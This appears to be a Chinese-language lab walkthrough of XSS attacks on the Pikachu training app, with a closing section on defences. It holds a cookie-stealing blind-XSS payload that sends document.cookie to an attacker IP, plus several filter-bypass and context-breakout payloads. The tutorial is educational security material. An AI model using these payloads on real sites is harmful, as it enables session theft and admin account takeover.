一、XSS之盲打
1.盲打概述
“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。
也就是只有从后台才能看到前端输入的内容,从前端无法判断是否存在xss
2.实验演示
第一步:打开pikachu的xss盲打,随便输入信息
第二步:模拟后台管理员,登录后台进行查看(右上角有登录地址)
第三步:输入js代码,此时页面并没有弹窗,但是在后台会显示
<script>alert('xss')</script>
后台管理员查看,会触发了xss。这时攻击者后台就会获取到cookie
第四步:我们试着构造一个payload进行注入
<script>document.location = 'http://192.168.159.149:8080/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
注:记得修改cookie.php为自己(攻击者)的ip
第五步:模拟后台管理员进行登录,后台会重定向到首页
第六步:此时查看攻击者后台,获取到cookie
第七步:我们进行密码破解。此时攻击者已经拿到了后台管理员的账户和密码
二、XSS之绕过
XSS绕过-过滤-转换方法
1.前端限制绕过,直接抓包重放,或者修改.html前端代码
2.大小写混合:
<SCRIpt>alert(111)</SCRIpt>
3.拼凑
<scr<script>ipt>alert(111)</sc<script>ript>
4.使用注释进行干扰
<scr<!--test-->ipt>alert(111)</sc<!--test-->ript>
5.编码
核心思路:
后台过滤了特殊字符,比如
注意:在使用编码时需要注意编码在输出点是否会被正常识别和翻译
实验演示
pikachu的xss之过滤进行测试
大小写绕过:
<SCRIpt>alert(111)</SCRIpt>
img标签
<img src=x onerror="alert('img标签')" />
三、xss之htmlspecialchars()函数
htmlspecialchars()函数默认只编码双引号,当开发者未对单引号过滤时,就会可能导致XSS的发生
htmlspecialchars()函数把预定义的字符转换为HTML实体
预定义的字符是:
&(和号)成为&
“(双引号)成为"
‘(单引号)成为'
<(小于)成为<
> (大于)成为>
可用的引导类型:
ENT_COMPAT 默认。仅编码双引号
ENT_QUOTES 编码双引号和单引号
ENT_NOQUOTES 不编码任何引导
实验演示
第一步:在输入框输入特殊字符
第二步:查看源码,发现并没有对单引号进行过滤。所以,就可能存在xss漏洞
第三步:在pikachu的xss之htmlspecialchars()漏洞进行测试
输入如下内容
q' onclick='alert(111)'
四、XSS的防范措施
总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到 JS里面的进行js转义
1.xss之herf输出
href这里有一个输出漏洞:输出在a标签的href属性里面,可以使用javascript协议来执行js,在输入时候只允许是http,https协议,只有这两种协议才可以进行输出,如果不是的话就不允许输入。之后再进行htmlspecialchars函数过滤。我们来看看后端的代码(路径如下):
D:\phpstudy2018\PHPTutorial\WWW\pikachu\vul\xss
第一步:首先查看一下后端源代码:
我们查看源码发现,虽然对htmlspecialchars()函数做了额外的处理,但是,它把输出放在了a标签的href属性里
第二步:输入payload,点击”阁下自己输入的url还请自己点一下吧“,然后发现出现弹窗:
javascript:alert(111)
2.xss之js输出
第一步:随便输入内容,进行测试
第二步:右键查看源码,发现输入点是ms
第三步:构造闭合
我们将源代码中的script闭合掉,然后插入我们自己的js代码,即
<script>
$ms='111'</script><script>alert('xss')</script>';
//如果把逻辑部分忽略,那我们实际剩下的语句就是: <script>$ms=111
//然后对前面的script进行闭合,<script>$ms=111</script>
//然后插入我们自己的js代码<script>alert('xss')</script>
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
将我们构造的payload拿出来
111'</script><script>alert('xss')</script>
成功弹窗